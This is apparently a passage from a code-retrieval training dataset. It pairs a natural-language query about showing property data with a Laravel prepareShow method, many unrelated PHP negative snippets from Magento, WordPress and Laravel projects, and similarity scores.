Mage::helper('catalog/product_flat')->getProcess();\r\n $status = $process->getStatus();\r\n $process->setStatus(Mage_Index_Model_Process::STATUS_RUNNING);\r\n\r\n // Fetch attribute set id by attribute set name\r\n /** @var $collection Mage_Catalog_Model_Resource_Product_Collection */\r\n $attributeSetId = Mage::getModel('eav/entity_attribute_set')\r\n ->load('Oodji', 'attribute_set_name')\r\n ->getAttributeSetId();\r\n\r\n $website = Mage::getResourceModel('core/website_collection')\r\n ->addFieldToFilter('code', 'oodji')\r\n ->getFirstItem();\r\n\r\n $storeId = Mage::app()->getStore(Mage::app()->getWebsite($website)->getDefaultGroup()->getDefaultStoreId())->getId();\r\n\r\n // Load product model collection filtered by attribute set id\r\n $products = Mage::getResourceModel('catalog/product_collection')\r\n ->setStoreId($storeId)\r\n ->addAttributeToSelect('name')\r\n ->addAttributeToSelect('sku')\r\n ->addAttributeToFilter('type_id', 'configurable')\r\n ->addFieldToFilter('attribute_set_id', $attributeSetId)\r\n ->addFieldToFilter('status', 2);\r\n\r\n $process->setStatus($status);\r\n\r\n // Process your product collection as per your bussiness logic\r\n /** @var Agere_PhotoGrabber_Helper_Grabber $grab */\r\n $grab = Mage::helper('photoGrabber/grabber');\r\n\r\n foreach($products as $product){\r\n $grab->searchProduct($product->getSku());\r\n }\r\n }", "public function setPhotosAttribute($value)\n {\n $attribute_name = \"photos\";\n $disk = \"uploads\";\n $destination_path = \"products\";\n\n $this->uploadMultipleFilesToDisk($value, $attribute_name, $disk, $destination_path);\n }", "public function medias()\n\t{\n\t\treturn $this->hasMany('App\\PropertyImages');\n\t}", "public function registerSiteRoutes()\n\t{\n\t\t// NOTE: the second route is used to capture files in subdirectories as well\n\t\treturn array(\n\t\t\t'internal/(?P<id>.\\d*)' => array('action' => 'AssetManagement/Assets/findById'),\n\t\t\t'internal/(?P<directory>.*)/(?P<name>.*)' => array('action' => 'AssetManagement/Assets/findInDirectory')\n\t\t);\n\t}", "public function add_endpoints() {\n\t\tadd_rewrite_endpoint( self::$endpoint, EP_ROOT | EP_PAGES );\n\t\t//flush_rewrite_rules();\n\t}", "private function __di_init_service_route () {\n $this->route = $this->constant(new GoDiService_Route_Property($this));\n }", "public function getImagePathAttribute()\n {\n return asset('public/uploads/supply_images/'.$this->image);\n }", "public function image($image)\n {\n return $this->setProperty('image', $image);\n }", "public function image($image)\n {\n return $this->setProperty('image', $image);\n }", "public function images()\n {\n return $this->hasMany('fooCart\\src\\ProductImage', 'product_id', 'product_id');\n }", "private function addFeaturedMedia() {\n foreach (self::getPostTypes() as $post_type) {\n register_rest_field($post_type, 'featured_media_url', [\n 'get_callback' => function ($post) {\n if ($post instanceof WP_POST) {\n return get_the_post_thumbnail_url($post->ID);\n } elseif (is_array($post)) {\n return get_the_post_thumbnail_url($post['id']);\n }\n },\n ]);\n }\n }", "public function getImagePathAttribute()\n {\n return url('storage/'.$this->image);\n }", "private function addProperties( $options ){\n\n // loop over properties\n for( $i = 0; $i < count( $this->elementProperties ); $i++ ){\n // property exists\n if( isset( $options[$this->elementProperties[$i]] ) ){\n \n // get property value\n $propertyValue = $options[$this->elementProperties[$i]];\n \n // is src\n if( $this->elementProperties[$i] == 'src' ){\n // add image url to source\n $propertyValue = $this->imageUrl . $propertyValue;\n }\n // is src\n \n // add property id and value\n echo ' ' .$this->elementProperties[$i] . '=\"' . $propertyValue . '\" ';\n }\n // property exists\n }\n // loop over properties\n }", "public function photos()\n {\n return $this->hasMany('App\\Entities\\QuoteOptionHotelRoomPhoto', 'quote_option_room_id', 'quote_option_room_id');\n }", "function set_properties($props = array())\n\t{\n\t\t/** ------------------------------------\n\t\t/** Turn array indexes into class vars\n\t\t/** ------------------------------------*/\n\t\n\t\t\tif (count($props) > 0)\n\t\t\t{\n\t\t\t\tforeach ($props as $key => $val)\n\t\t\t\t{\n\t\t\t\t\t$this->$key = $val;\n\t\t\t\t}\n\t\t\t}\n\n\t\t/** ------------------------------------\n\t\t/** Do we have a file path and file name?\n\t\t/** ------------------------------------*/\n\t\t\n\t\t// If not, bail...\n\t\t\n\t\tif ($this->file_path == '' OR $this->file_name == '')\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\t\n\t\t// Set the full server path\n\t\t\t\n\t\t$this->file_path = @realpath($this->file_path).'/';\n\t\t$this->file_path = str_replace(\"\\\\\", \"/\", $this->file_path); \n\t\t\t\t\n\t\t/** ------------------------------------\n\t\t/** Assign image properties\n\t\t/** ------------------------------------*/\n\t\t\t\t\n\t\tif ( ! $this->get_image_properties($this->file_path.$this->file_name))\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t/** ------------------------------------\n\t\t/** Should we maintain the image proportions?\n\t\t/** ------------------------------------*/\n\t\t\n\t\t// When creating thumbs, the target width/height\n\t\t// might not be in correct proportion with the source\n\t\t// image's width/height. We'll recalculate it here.\n\t\t\n\t\tif ($this->maintain_ratio === TRUE && ($this->dst_width != '' AND $this->dst_height != ''))\n\t\t{\n\t\t\t$this->image_reproportion();\n\t\t}\n\t\t\t\t\n\t\t// If the destination width/height was\n\t\t// not submitted we will use the values\n\t\t// from the actual file\n\t\t\n\t\tif ($this->dst_width == '')\n\t\t\t$this->dst_width = $this->src_width;\n\t\n\t\tif ($this->dst_height == '')\n\t\t\t$this->dst_height = $this->src_height;\n\t\t\t\n\t\t/** ---------------------------------\n\t\t/** Prep the thumbnail indicator\n\t\t/** ---------------------------------*/\n\t\t\n\t\tif ($this->thumb_prefix != '')\n\t\t{\n\t\t\tif (strncmp($this->thumb_prefix, '-', 1) !== 0 && strncmp($this->thumb_prefix, '_', 1) !== 0)\n\t\t\t{\n\t\t\t\t$this->thumb_prefix = \"_\".$this->thumb_prefix;\t\t\t\t\n\t\t\t}\n\t\t}\n\n\t\t/** ---------------------------------\n\t\t/** Prep the quality preference\n\t\t/** ---------------------------------*/\n\t\t\n\t\t$this->quality = trim(str_replace(\"%\", \"\", $this->quality));\n\t\t\n\t\tif ($this->quality == '' OR $this->quality == 0 OR ! is_numeric($this->quality))\n\t\t\t$this->quality = 90;\n\t\t\n\t\t/** ---------------------------------\n\t\t/** Set x/y coordinates\n\t\t/** ---------------------------------*/\n\t\t\n\t\t$this->x_axis = ($this->x_axis == '' OR ! is_numeric($this->x_axis)) ? 0 : $this->x_axis;\n\t\t$this->y_axis = ($this->y_axis == '' OR ! is_numeric($this->y_axis)) ? 0 : $this->y_axis;\n\t\t\t\t\t\n\t\t/** ---------------------------------\n\t\t/** Assign the \"new file name\"\n\t\t/** ---------------------------------*/\n\t\t\n\t\t// This variable is used if we are making a copy of an image.\n\t\t// If we are altering the original we'll set $this->new_file_name\n\t\t// to the same value as $this->file_name.\n\n\t\t$this->new_file_name = ($this->new_file_name == '' OR ($this->new_file_name == $this->file_name)) ? $this->file_name : $this->new_file_name;\n\n\t\t/** ---------------------------------\n\t\t/** Assign the full source and destination file_paths\n\t\t/** ---------------------------------*/\n\t\t\n\t\t// Split the extension from the file_name. We do this \n\t\t// in order to insert the thumbnail indicator (if needed)\n\n\t\t$xp\t= $this->explode_name($this->new_file_name);\n\t\t\n\t\t$this->thumb_name\t = $xp['name'].$this->thumb_prefix.$xp['ext'];\n\t\t$this->full_src_path = $this->EE->functions->remove_double_slashes($this->file_path.'/'.$this->file_name);\t\t\n\t\t$this->full_dst_path = $this->EE->functions->remove_double_slashes($this->file_path.'/'.$xp['name'].$this->thumb_prefix.$xp['ext']);\n\t\n\t\t/** ---------------------------------\n\t\t/** Watermark-related Stuff....\n\t\t/** ---------------------------------*/\n\t\t\n\t\tif ($this->wm_font != '')\n\t\t{\n\t\t\t$this->wm_font = APPPATH.'/fonts/'.$this->wm_font;\n\t\t}\n\n\t\tif ($this->wm_text_color != '')\n\t\t{\n\t\t\tif (strlen($this->wm_text_color) == 6)\n\t\t\t{\n\t\t\t\t$this->wm_text_color = '#'.$this->wm_text_color;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($this->wm_shadow_color != '')\n\t\t{\n\t\t\tif (strlen($this->wm_shadow_color) == 6)\n\t\t\t{\n\t\t\t\t$this->wm_shadow_color = '#'.$this->wm_shadow_color;\n\t\t\t}\n\t\t}\n\t\n\t\n\t\treturn TRUE;\n\t}", "public function action_init_register_rewrites() {\n add_rewrite_endpoint( 'ics', EP_PERMALINK );\n }", "public function images()\n {\n return $this->morphToMany('App\\Images', 'imageable');\n }", "public function add_endpoints() {\n\t\tadd_rewrite_endpoint( $this->endpoint, EP_ROOT | EP_PAGES );\n\t}", "public function mount($image){\n if (!isset($image) || Empty($image)) {\n $this->image = '';\n }else{\n $this->image = $image;\n $this->btn = true;\n }\n }", "public function addPhoto($value)\n {\n $this->photos[] = $value;\n }", "function addVakoImage($object) {\n /* you can itentify the vako with $object->reference->ShopId */ \n $object->Item->ShopId = 'yourReturnedVakoImageIdOnMarketplace_'.rand(1000, 9999); \n}", "protected function combineImages() {}", "public function images()\n {\n return $this->hasMany(ProductImageProxy::modelClass(), 'seller_product_id');\n }", "public function photos(){\n return $this->morphMany('cms\\Photo', 'imageable');\n }", "function metaInit () {\n $this->imageMeta = new ImageMeta($this->getImagePath());\n $this->imageMeta->getMeta();\n }", "public function photos()\n {\n return $this->hasMany('App\\AgentPhoto', 'agent_id');\n }", "public function images()\n {\n return $this->hasMany('App\\Image');\n }", "public function images()\n {\n return $this->hasMany('App\\Image');\n }", "public function images()\n {\n return $this->hasMany('App\\Image');\n }", "public function images()\n {\n return $this->hasMany('App\\Image');\n }" ]
[ "0.5714889", "0.5680359", "0.559291", "0.5586751", "0.54304624", "0.53598565", "0.5314433", "0.52572125", "0.51980245", "0.5182699", "0.5173096", "0.5112765", "0.5106167", "0.50788325", "0.5054979", "0.5043555", "0.50340104", "0.49982843", "0.49979964", "0.4987067", "0.49858811", "0.4984036", "0.49731898", "0.49707517", "0.49445742", "0.49445483", "0.49380633", "0.49372134", "0.49358234", "0.49346742", "0.49294192", "0.49260014", "0.4924523", "0.4920845", "0.4909852", "0.49092874", "0.49012566", "0.48976183", "0.48886037", "0.48764408", "0.48680887", "0.48659283", "0.48638582", "0.48577854", "0.48572704", "0.4833311", "0.48200372", "0.48174706", "0.48070922", "0.48039588", "0.47924197", "0.47809103", "0.47733212", "0.47564197", "0.47535536", "0.4744626", "0.473558", "0.47307396", "0.47284323", "0.47257197", "0.4719923", "0.47179195", "0.47146577", "0.47123104", "0.47102973", "0.47096562", "0.47091845", "0.4707992", "0.47066128", "0.47026616", "0.4699446", "0.469765", "0.46976095", "0.46936154", "0.46914786", "0.46871436", "0.46711913", "0.46571332", "0.46571332", "0.4656419", "0.46541053", "0.46538007", "0.46525124", "0.46511927", "0.46449286", "0.46408725", "0.46396032", "0.46304378", "0.46298566", "0.46286836", "0.46245956", "0.46175146", "0.46175107", "0.46171358", "0.4611478", "0.46089724", "0.4608606", "0.4608606", "0.4608606", "0.4608606" ]
0.70499086
0
Attach all necessary data to show property.
public function prepareShow() { $this->location(); $this->type; $this->amenityIds(); $this->utilityIds(); $this->reviewCount(); $this->user->location(); $this->user->profilePicture(); $this->user->reviewCount(); $this->reviews = $this->reviews()->select('reviews.*')->withReviewer()->get(); $this->coordinates; $this->imageRoutes(); $this->image_ids = $this->images->pluck('id'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function show()\n {\n // carrega os dados no datagrid\n $this->onReload();\n //chama o metodo show da super classe\n parent::show();\n\n }", "protected function setDisplayData() {\n parent::setDisplayData();\n $this->template->setDisplayData( \"person_header\", $this->getTitle() );\n if ( !($form_link = $this->form_link)) {\n if ($this->module == 'I2CE') {\n $form_link = $this->page;\n } else {\n $form_link = $this->module .'/' . $this->page;\n }\n }\n $this->template->setDisplayData( \"person_form\", $form_link);\n }", "protected function setupShowOperation(): void\n {\n $this->crud->addColumn([\n 'name' => 'name',\n 'type' => 'text',\n 'label' => 'Наименование',\n ]);\n $this->crud->addColumn([\n 'name' => 'category_id',\n 'type' => 'select',\n 'label' => 'Категория',\n 'entity' => 'category',\n 'attribute' => \"name\",\n 'model' => Category::class,\n ]);\n $this->crud->addColumn([\n 'name' => 'photos',\n 'label' => 'Фотографии',\n 'type' => 'upload_multiple',\n 'disk' => 'public'\n ]);\n $this->crud->addColumn([\n 'name' => 'attributes',\n 'label' => 'Атрибуты',\n 'type' => 'attributes',\n 'entity_singular' => 'атрибут',\n 'columns' => [\n 'name' => 'Название атрибута',\n 'value' => 'Значение',\n ],\n 'min' => 0,\n ]);\n }", "protected function _fillAvailableProperties()\n {\n $properties = array(\n __(\"Special Properties\") => array(\n 0 => __(\"<Unmapped>\"),\n -1 => __(\"Tags\"),\n -2 => __(\"File\"),\n -3 => __(\"Item Type\"),\n -4 => __(\"Collection\"),\n -5 => __(\"Public\"),\n -6 => __(\"Featured\"),\n )\n );\n $elementSets = $this->_helper->db->getTable('ElementSet')->findAll();\n foreach ($elementSets as $elementSet)\n {\n $idNamePairs = array();\n $elementTexts = $elementSet->getElements();\n foreach ($elementTexts as $elementText)\n {\n $idNamePairs[$elementText->id] = $elementText->name;\n }\n $properties[$elementSet->name] = $idNamePairs;\n }\n $this->view->available_properties = $properties;\n }", "public function show()\n\t{\n\t\t// Set title\n\t\t$this->setTitle('K2_EXTRA_FIELDS');\n\n\t\t// Set user states\n\t\t$this->setUserStates();\n\n\t\t// Set pagination\n\t\t$this->setPagination();\n\n\t\t// Set rows\n\t\t$this->setRows();\n\n\t\t// Set filters\n\t\t$this->setFilters();\n\n\t\t// Set toolbar\n\t\t$this->setToolbar();\n\n\t\t// Set menu\n\t\t$this->setMenu();\n\n\t\t// Set Actions\n\t\t$this->setListActions();\n\n\t\t// Render\n\t\tparent::render();\n\t}", "protected function setupShowOperation()\n {\n $this->crud->set('show.setFromDb', false);\n\n CRUD::addColumn([\n 'name' => 'description',\n 'label' => 'Description',\n 'type' => 'string'\n ]);\n\n $this->crud->addColumn([\n 'name' => 'items',\n 'label' => 'Code Items',\n 'type' => 'table',\n 'columns' => [\n 'description' => 'Description',\n 'show_is_visible' => 'Is Visible'\n ]\n ]);\n\n CRUD::addColumn([\n 'name' => 'is_visible',\n 'label' => 'Is Visible',\n 'type' => 'boolean'\n ]);\n }", "public function showDetails(){\n $this->_showDetails = true;\n }", "function fill_in_additional_detail_fields()\n {\n parent::fill_in_additional_detail_fields();\n $this->project_name = $this->_get_project_name($this->project_id);\n $this->resource_name = $this->getResourceName();\n }", "protected function configureShowFields(ShowMapper $show): void\r\n {\r\n $show\r\n ->add('expediente')\r\n ->add('cotizacion')\r\n ->add('personaNif')\r\n ->add('oficina')\r\n ->add('horizontal')\r\n ->add('vertical')\r\n ->add('missatge')\r\n ->add('nivel')\r\n ->add('updatedAt')\r\n ->add('createdAt')\r\n ->add('active')\r\n ->add('deleted')\r\n ->add('deletedBy')\r\n ->add('deletedAt');\r\n }", "public function _setProps() {\n $dataController = get_called_class();\n $dataController::_getMapper();\n $dataController::_getModel();\n }", "public function initMutateProperty()\n {\n foreach ( $this->initMutateProperties as $property ) {\n $this->mutateProperties[ $property ] = $this->{$property};\n }\n $this->view->addParams( [\n 'mutateProperties' => $this->mutateProperties\n ] );\n }", "public function buildShowFields()\n {\n $this->addField(\n SharpShowTextField::make('id')\n ->setLabel('Id:')\n )->addField(\n SharpShowTextField::make('name')\n ->setLabel('name:')\n )->addField(\n SharpShowTextField::make('url')\n ->setLabel('url:')\n )->addField(\n SharpShowTextField::make('vendor_id')\n ->setLabel('vendor_id')\n )->addField(\n SharpShowTextField::make('parent_id')\n ->setLabel('parent_id')\n )->addField(\n SharpShowTextField::make('created_at')\n ->setLabel('Created At:')\n )->addField(\n SharpShowTextField::make('updated_at')\n ->setLabel('Updated At:')\n )->addField(\n SharpShowEntityListField::make('products', 'product')\n ->hideFilterWithValue('category', function($instanceId) {\n return $instanceId;\n })\n ->showEntityState(false)\n ->showReorderButton(true)\n ->showCreateButton(false)\n );\n }", "protected function configureShowFields(ShowMapper $showMapper){}", "protected function renderData()\n {\n $this->view->baseUrl = $this->_baseUrl;\n $this->view->staticUrl = Zend_Registry::get('static');\n $this->view->version = Zend_Registry::get('version');\n $this->view->hostUrl = Zend_Registry::get('host');\n $this->view->photoUrl = Zend_Registry::get('photo');\n $this->view->adminUser = $this->_user;\n\n $this->view->isSuperUser = $this->_isSuperUser;\n $this->view->isViewer = $this->_isViewer;\n $this->view->isWatcher = $this->_isWatcher;\n $this->view->isEditor = $this->_isEditor;\n }", "protected function initialize()\n {\n $this->viewData['list_sb'] = $this->list_sb = SkeletalBone::orderBy('name', 'asc')->pluck('name', 'id');\n $this->viewData['list_side'] = $this->list_side = SkeletalElement::$side;\n $this->viewData['list_completeness'] = $this->list_completeness = SkeletalElement::$completeness;\n $this->viewData['list_lab'] = $this->list_lab = Lab::where('type', 'Isotope')->get()->pluck('full_name', 'id');\n $this->viewData['list_status'] = $this->list_status = IsotopeBatch::$status;\n $this->viewData['batchStatus'] = $this->batchStatus = 'Open';\n $this->viewData['initialshow'] = $this->initialshow = false;\n }", "public function show(Property $property)\n {\n //\n }", "public function show(Property $property)\n {\n //\n }", "public function populate()\n { \n $this->data = $this->iDatasourceModel->getData( $this->propertyTypeInfo );\n $this->state = self::STATE_POPULATED;\n return;\n }", "protected function setupShowOperation()\n {\n $this->setupListOperation();\n CRUD::column('provider_update_url')->limit(1000);\n }", "protected function setProperties()\n {\n foreach ($this->data as $key => $value) {\n $this->$key = $value;\n }\n }", "function show()\n {\n if (!$this->loaded)\n {\n $this->onReload( func_get_arg(0) );\n }\n parent::show();\n }", "private function set_display_data( $data ) {\n\t\t$this->display_data = $data;\n\t}", "protected function setupShowOperation()\n {\n CRUD::addColumn(['name' => 'text_one', 'label' => 'Текст первый.']); // columns\n CRUD::addColumn(['name' => 'image_one', 'type' => 'image', 'label' => 'Изображение первое.']); // columns\n CRUD::addColumn(['name' => 'text_two', 'label' => 'Текст второй.']); // columns\n CRUD::addColumn(['name' => 'image_two', 'type' => 'image', 'label' => 'Изображение второе.']); // columns\n CRUD::addColumn(['name' => 'text_third', 'label' => 'Текст третий.']); // columns\n CRUD::addColumn(['name' => 'image_third', 'type' => 'image', 'label' => 'Изображение третье.']); // columns\n CRUD::addColumn(['name' => 'image_four', 'type' => 'image', 'label' => 'Изображение четвертое.']); // columns\n\n /**\n * Columns can be defined using the fluent syntax or array syntax:\n * - CRUD::column('price')->type('number');\n * - CRUD::addColumn(['name' => 'price', 'type' => 'number']);\n */\n }", "public function hookPublicAppendToCollectionsShow()\n {\n $this->_appendToCollectionsShow(get_current_collection());\n }", "function onShowDetail(&$pr, &$ds) {\n\t$hotel = $this->dTable->detailed($this->entryId)->execute()->getFirst();\n\n\t$this->dsDb->add(\"Hotel\",$hotel->toArray(true));\n\n\t$fn = $this->name() . \"/show.xml\";\n\t$pr->loadPage( $fn );\n }", "protected function configureShowFields(ShowMapper $showMapper)\n {\n $showMapper\n ->add('id')\n ->add('user')\n ->add('product');\n }", "public function show( $data )\n\t\t{\n\t\t\tforeach($data as $key => $value)\n\t\t\t{\n\t\t\t\t$this->$key = $value;\n\t\t\t}\n\t\t\n\t\t\tinclude $this->path;\n\t\t}", "public function buildShowLayout()\n {\n $this->addSection('Section', function(ShowLayoutSection $section) {\n $section->addColumn(6, function(ShowLayoutColumn $column) {\n $column->withSingleField('id');\n $column->withSingleField('name');\n $column->withSingleField('url');\n $column->withSingleField('vendor_id');\n $column->withSingleField('parent_id');\n $column->withSingleField('created_at');\n $column->withSingleField('updated_at');\n });\n })->addEntityListSection('products', 'products');\n }", "public function show(PropertyApplication $propertyApplication)\n {\n //\n }", "public function __construct(){\n // 表示部分で使うオブジェクトを作成\n $this->initDisplayObj();\n }", "function properties()\n {\n }", "function displayTools()\n\t{\n\t\t$this->checkDisplayMode();\n\n\t\t// output\n\t\tilUtil::sendInfo();\n\n\t\t// use property forms and add the settings type switch\n\t\t$ctrl_structure_form = $this->initControlStructureForm();\n\t\t$settings_type_form = $this->initSettingsTypeForm();\n\t\t$mp_ns_form = $this->initTreeImplementationForm();\n\n\t\t$this->tpl->setVariable(\"SETUP_CONTENT\",\n\t\t\t$ctrl_structure_form->getHTML() . \"<br />\" .\n\t\t\t$settings_type_form->getHTML().'<br />'.\n\t\t\t$mp_ns_form->getHTML());\n\n\t}", "protected function configureShowFields(ShowMapper $showMapper)\n {\n }", "public function Show () {\n\n $this->show_id = 0;\n $this->created = 0;\n $this->modified = 0;\n $this->user_id = 0;\n\n $this->event_id = 0;\n $this->venue_id = 0;\n\n $this->event = NULL;\n $this->venue = NULL;\n\n $this->day = '';\n $this->dateString = '';\n $this->timeString = '';\n $this->date_time = '';\n\n $this->shortDate = '';\n $this->longDate = '';\n $this->shortMonth = '';\n $this->dayOfMonth = '';\n $this->shortDay = '';\n $this->timeOfDay = '';\n }", "public function init()\r\n {\r\n parent::init();\r\n $this->visible = true;\r\n $this->descriptionashint = true;\r\n $this->active = false;\r\n }", "public function __construct() {\n // 表示部分で使うオブジェクトを作成\n $this->initDisplayObj();\n }", "function property_showings(){\n $post_id= $this->uri->segment(3);\t\t\n\t\t\t $p_id = base64_decode( urldecode( $post_id ));\n\t\t\t $all_showings = $this->InteractModal->count_showing_logs( $p_id );\n\t\t\t $pagedata['all_showings']= $all_showings ;\n\t\t\t $this->load->view('dashboard/header');\n\t\t\t $this->load->view('dashboard/view_more_properties',$pagedata);\n\t\t\t $this->load->view('dashboard/footer'); \n\t\t\t\n\t\t}", "protected function configureShowFields(ShowMapper $showMapper)\n {\n $showMapper\n\t\t\t->add('isActive')\n\t\t\t->add('id')\n\t\t\t->add('name')\n\t\t\t->add('description')\n\t\t\t->add('video')\n ->add('thumbnail')\n\t\t\t->add('createdAt')\n ->add('updated')\n ;\n }", "private function shareModelPropsToView(): void\n {\n $model = static::${'modelClass'};\n View::share('props', (new $model())->getEditableProperties());\n }", "function displayProperties ()\n {\n foreach ($this as $key => $property)\n {\n echo $key . ':' . $property . '<br>';\n }\n }", "function\n\tShow ()\n\t{\n\t\t$this->sourceStrings();\n\t\t\n\t\tif ($this->Title == '')\n\t\t{\n\t\t\t$this->Title = $this->_STRINGS['DEFAULT_QUERY_TITLE'];\n\t\t}\n\n\t\tif (count($this->Additional) > 0)\n\t\t\t$this->Fields = array_merge($this->Fields, $this->Additional);\n\t\t\n\t\t$this->display();\n\t}", "private function setExternalProductDetails() {\n /** @var ExternalProductAdapter $product */\n $product = $this->product;\n\n $product->set_button_text($this->wcData->getButtonText());\n $product->set_product_url($this->wcData->getProductUrl());\n }", "protected function configureShowFields(ShowMapper $showMapper)\n {\n if($this->isGranted('FIELD_FILE'))\n $showMapper->add('naam') ;\n }", "public function show()\n {\n // check if the datagrid is already loaded\n if (!$this->loaded AND (!isset($_GET['method']) OR !(in_array($_GET['method'], $this->showMethods))) )\n {\n if (func_num_args() > 0)\n {\n $this->onReload( func_get_arg(0) );\n }\n else\n {\n $this->onReload();\n }\n }\n parent::show();\n }", "public function init()\n\t{\n\t\tif($this->data===null)\n\t\t\tthrow new CException(Yii::t('zii','Please specify the \"data\" property.'));\n\t\tif($this->attributes===null)\n\t\t{\n\t\t\tif($this->data instanceof CModel)\n\t\t\t\t$this->attributes=$this->data->attributeNames();\n\t\t\telse if(is_array($this->data))\n\t\t\t\t$this->attributes=array_keys($this->data);\n\t\t\telse\n\t\t\t\tthrow new CException(Yii::t('zii','Please specify the \"attributes\" property.'));\n\t\t}\n\t\tif($this->nullDisplay===null)\n\t\t\t$this->nullDisplay='<span class=\"null\">'.Yii::t('zii','Not set').'</span>';\n\t\t$this->htmlOptions['id']=$this->getId();\n\n\t\tif($this->baseScriptUrl===null)\n\t\t\t$this->baseScriptUrl=Yii::app()->getAssetManager()->publish(Yii::getPathOfAlias('zii.widgets.assets')).'/detailview';\n\n\t\tif($this->cssFile!==false)\n\t\t{\n\t\t\tif($this->cssFile===null)\n\t\t\t\t$this->cssFile=$this->baseScriptUrl.'/styles.css';\n\t\t\tYii::app()->getClientScript()->registerCssFile($this->cssFile);\n\t\t}\n\t}", "public function create()\n\t{\n\t\t$properties = Property::all();\n\t\t$this->layout->content = View::make('properties.create',array('properties'=>$properties));\n\t}", "protected function configureShowFields(ShowMapper $showMapper)\n {\n $showMapper\n ->add('lastName')\n ->add('firstName')\n ->add('birthday')\n ->add('gender')\n ;\n }", "abstract function buildShowFields(): void;", "function initData() {\n\t\t$representative =& $this->getRepresentative();\n\n\t\tif ($representative) {\n\t\t\t$this->_data = array(\n\t\t\t\t'representativeId' => $representative->getId(),\n\t\t\t\t'role' => $representative->getRole(),\n\t\t\t\t'representativeIdType' => $representative->getRepresentativeIdType(),\n\t\t\t\t'representativeIdValue' => $representative->getRepresentativeIdValue(),\n\t\t\t\t'name' => $representative->getName(),\n\t\t\t\t'phone' => $representative->getPhone(),\n\t\t\t\t'fax' => $representative->getFax(),\n\t\t\t\t'email' => $representative->getEmail(),\n\t\t\t\t'url' =>$representative->getUrl(),\n\t\t\t\t'isSupplier' => $representative->getIsSupplier(),\n\t\t\t);\n\t\t}\n\t}", "private function __setMedicationTileData() {\n\t\tif ($this->_requestedUser['id'] === $this->Auth->user('id')) {\n\t\t\t$showMedicationTile = true;\n\t\t\t$this->__addMedicationSchedulerFormValidation();\n\t\t\t$timezone = $this->Auth->user('timezone');\n\t\t\t$date = Date::getCurrentDate($timezone);\n\t\t\t$data = $this->__getMedicationDataOnDate($date);\n\t\t\t$this->set($data);\n\t\t} else {\n\t\t\t$showMedicationTile = false;\n\t\t}\n\t\t$this->set(compact('showMedicationTile'));\n\t}", "public function show(Propertycomments $propertycomments)\n {\n //\n }", "public function propertyPreview(){\n\t\t\t$data = array();\n\t\t\t\n\t\t\t$propertyID = $this->uri->segment(3);\n\t\t\t$this->load->model('Properties_model');\n\t\t\t\n\t\t\t$data['individualUserList'] = $this->Properties_model->IndividualUserList();\n\t\t\t\n\t\t\t$data['property'] = $this->Properties_model->getPropertyName($propertyID);\n\t\t\t\n\t\t\t$data['propertyImage'] = $this->Properties_model->getPropertyImage($propertyID);\n\t\t\t//echo \"<pre>====\";print_r($data['propertyImage']);\n\t\t\t\n\t\t\t$data['usertype'] = $this->Properties_model->getUserType($data['property'][0]->userID);\n\n\t\t\t$data['userTypeDropdown'] = $this->Properties_model->getUser($data['property'][0]->userID,$data['usertype'][0]->userTypeID);\n\n\t\t\t$data['propertyPrice'] = $this->Properties_model->getPropertyPrice($data['property'][0]->propertyID);\n\t\t\t//echo \"<pre>1====\";print_r($data['propertyPrice']);\t\t\t\n\t\t\n\t\t\t$data['userAddress'] = $this->Properties_model->getUserAddress($data['property'][0]->userID);\n\t\n\t\t\t$data['propertyLoc'] = $this->Properties_model->getPropertyLoc($data['property'][0]->propertyID);\n\t\t\t//echo \"<li>======> \".$data['propertyLoc'][0]->cityLocID;\n\t\t\tif(!empty($data['propertyLoc'][0]->cityLocID)){\n\t\t\t$data['cityname'] = $this->Properties_model->getPropertyCityName($data['propertyLoc'][0]->cityLocID);\n\t\t\t}\n\t\t\t$data['type'] = $this->Properties_model->getPropertyPreviewType($propertyID);\n\t\t\t\n\t\t\t/************************** get all attributes ************************************************/\n\t\t\t$data['PropertySpecInfo'] = $this->Properties_model->getPropertySpecInfo($data['property'][0]->propertyID);\n\t\t\t//echo \"<pre>1====\";print_r($data['PropertySpecInfo']);\n\t\t\t$data['PropertyAttributes'] = $this->Properties_model->getPropertyAttributes($data['property'][0]->propertyTypeID,$data['property'][0]->propertyID);\n\t\t\t$data['PropertyAmenitiesInfo'] = $this->Properties_model->getPropertyAmenitiesInfo($data['property'][0]->propertyID);\n\t\t\t//echo \"<pre>AM====\";print_r($data['PropertyAmenitiesInfo']);\n\t\t\t$this->load->view('PropertyPreview',$data);\n\n\t}", "public function setData() {\n\t\t$this->import($this->get());\n\t}", "public function dispense() {\n\t\t$bean = $this->unbox();\n\t\t$time = time();\n\t\t$bean->created = R::isoDateTime($time);\n\t\t$this->loadedProperties = false;\n\t\t$this->properties = array();\n\t\t$this->properties['deploymentDate'] = date('YmdHis', $time);\n\t}", "public function show(Property $property_id)\n {\n }", "function Showpreview()\n\t{\t\n\t\t$this->data['propertyid']=$propertyid=$this->input->post('propertyid');\n\t\t\n\t\tif(!empty($propertyid))\n\t\t\t{\n\t\t\t\t$filter=array('propertyID'=>$this->input->post('propertyid'));\n\t\t\t\t$propertytabledetails=$this->AddProperty_model->Shownpreview($this->input->post('propertyid'));\n\t\t\t\t$propertyplandetails=$this->AddProperty_model->getplandetailsofproperty($this->input->post('propertyid'));\n\t\t\t\t\n\t\t\t\tif(!empty($propertyplandetails)){\n\t\t\t\t\t$userplan=$propertyplandetails[0]->planTitle;\n\t\t\t\t}else{\n\t\t\t\t\t\t$userplan=\"Not Mentioned\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(!empty($propertytabledetails))\n\t\t\t\t{\n\t\t\t\t\tif(!empty($propertytabledetails[0]->propertyPurpose)){$purpose=$propertytabledetails[0]->propertyPurpose;}else{$purpose=\"Not Mentioned\";}\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($propertytabledetails[0]->projectID))\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$under=\"Property Under Project\";\n\t\t\t\t\t\t\t\t$projectid=$propertytabledetails[0]->projectID;\n\t\t\t\t\t\t\t\t$projectnames=$this->AddProperty_model->get_project(\" and rp_projects.projectID=$projectid\");\n\t\t\t\t\t\t\t\tif(!empty($projectnames)){\n\t\t\t\t\t\t\t\t$projectname=$projectnames[0]->projectName;\n\t\t\t\t\t\t\t\t}else{ $under=\"Individual Property\";$projectname=\"No\"; }\n\t\t\t\t\t}else{ 